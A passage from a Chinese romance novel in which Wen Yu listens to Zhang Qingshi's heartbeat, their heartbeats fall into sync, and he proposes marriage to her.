“好像…不能。”温玉摇摇头道,说好的是听,怎么到她这就是浅浅地碰触一下?
“那,你头靠近一下。”
听她不能感受,张清时这才让她将头靠过来。
温玉也是欣然愿意,俯下身,头靠在两人交叠的手背上,听郎君的心跳声。
当耳朵一贴近,外面的声音也仿佛听话似的将一切声音都停了下来。
声停了,风停了,空气也停止了。
万物寂静下,温玉从那宽厚的胸膛上听到第一声是一道急促有力的呼吸声,紧跟着,自己的呼吸声也莫名大了些。
她匆忙捂住鼻子,头更往手背上贴了几许,将耳朵都压得通红。
但胸膛里却传来了另一道声音,“咚咚咚”的,似真的心跳声。
不过这也算心跳强烈吗?
温玉犹疑地将自己的另一只手捂在她的胸口上,再去感受郎君的心跳时,却忽然发现,两道心跳声从刚开始的不同频率,然后慢慢地交汇在一起,最后竟然一起共振。
且这共振的频率越来越大,两人的心脏都在“砰砰砰”地有力地敲击着心房门,似乎是都要从胸膛中破门而出,而温玉似乎是怕自己的心脏先激动地跳出来,就立马紧张慌乱地逃离。
头先抬离时,手却依然被张郎君扣住。
“郎君?”
温玉紧张地小声喊道,想表示她听完了,郎君可以放手了。
可张请时却不紧不慢地问:“温玉,你听见了吗?”
“听…听见了。”
温玉放在张郎君胸口上的手指慢慢蜷缩,而她捂在自己胸口上的手并未有撤离,此时她还能够清晰感知两人共振的频率,但她不知道为什么会这样,也害怕郎君继续追问她这个问题。
不过张清时这次真的未有在追问,他垂下头,深沉道:“我们心弦共振,脉跳同频,我想我们的情意也是如此相通。”
“啊?”
他说得太富有词藻,温玉没有理解。
但转头他就说了另一句又让她浅显易懂,却又让她震耳欲聋的话:
“温玉,我想娶你为妻!”